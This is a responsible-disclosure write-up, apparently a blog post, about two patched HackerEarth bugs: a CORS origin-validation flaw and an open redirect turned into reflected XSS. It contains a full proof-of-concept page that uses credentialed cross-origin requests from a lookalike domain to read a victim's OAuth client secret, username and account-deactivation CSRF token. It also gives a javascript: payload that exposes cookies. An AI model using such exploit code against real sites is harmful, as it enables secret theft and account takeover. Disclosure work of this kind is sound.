Introduction
I found two bugs on HackerEarth: a CORS misconfiguration that leaks OAuth client secrets and CSRF tokens to any attacker-controlled origin, and an open redirect that can be turned into reflected XSS. This post covers both.
Part 1: CORS Misconfiguration
The Access-Control-Allow-Origin check on the backend was flawed. By changing the Origin header in a request, I could get the server to reflect an arbitrary origin and allow credentialed cross-origin reads. The validation regex only looked for www.hackerearth.com somewhere after https://, so any host containing that substring passed.
I registered a subdomain, www.hackerearth.com.dr3dd.live, which satisfies the check. From a page hosted there I could make credentialed requests to HackerEarth and read the responses. The script below pulls the victim’s OAuth client ID, client secret, and username from their profile settings page, then fetches the CSRF token used to deactivate the account.
<!DOCTYPE html>
<html>
<body>
<div>
<h1>Getting hackerearth Client secrets for victim!!!</h1>
<button type="button" onclick="loadDoc()">Get secrets!!!</button>
<div id="demo1"></div>
<div id="demo2"></div>
<div id="demo3"></div>
<button type="button" onclick="get_csrf_token()">You can get any csrf token and make changes in victim account like this is account deactivate csrf token!!!</button>
<div id="demo4"></div>
</div>
<script>
function loadDoc() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
var parser=new DOMParser();
var xmlDoc=parser.parseFromString(this.responseText, "text/html").documentElement;
var clientId = xmlDoc.querySelector('#client-id');
var clientSecret = xmlDoc.querySelector('#client-secret');
var username = xmlDoc.querySelector('#change-username');
document.getElementById("demo1").innerHTML = clientId.innerText;
document.getElementById("demo2").innerHTML = clientSecret.innerText;
document.getElementById("demo3").innerHTML = username.innerText.replace('Edit','');;
}
};
xhttp.open("GET", "https://www.hackerearth.com/users/profile-settings/", true);
xhttp.withCredentials = true;
xhttp.send();
}
function get_csrf_token(){
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
var parser=new DOMParser();
var xmlDoc= parser.parseFromString(this.responseText, "text/html").documentElement;
var csrf = xmlDoc.querySelector('#deactivate-form')[0].value;
document.getElementById("demo4").innerHTML = "csrf for deactivate account : " + csrf;
}
};
var username = document.getElementById("demo3").innerText;
var url = "https://www.hackerearth.com/deactivate/" + username.replace("Username: ","");;
xhttp.open("GET", url, true);
xhttp.withCredentials = true;
xhttp.send();
}
</script>
</body>
</html>
Part 2: Open Redirect to XSS
The redirect parameter on the social login completion page was not validated. It accepted a javascript: URI, which turns the open redirect into reflected XSS. Loading the URL below executes JavaScript in the context of www.hackerearth.com, giving access to the victim’s cookies.
https://www.hackerearth.com/social-login-complete-page/?redirect=javascript:alert(document.cookie)
Status
The CORS misconfiguration was fixed. The open redirect / XSS took longer but was eventually patched as well. See the timeline below.
[Note: The bugs mentioned in this blog have been reported to Hackerearth for appropriate action and resolution.]
Timeline
March-16-2020Submit report to hackerearth via mailMarch-18-2020Submit Detail POC for bugsMarch-27-20201st bug Core misconfiguration is fixed.April-18-2020Asked for update but they said they still working on fix.Jan-02-2021XSS is fixed.April-16-2021Acknowledged and rewarded swag.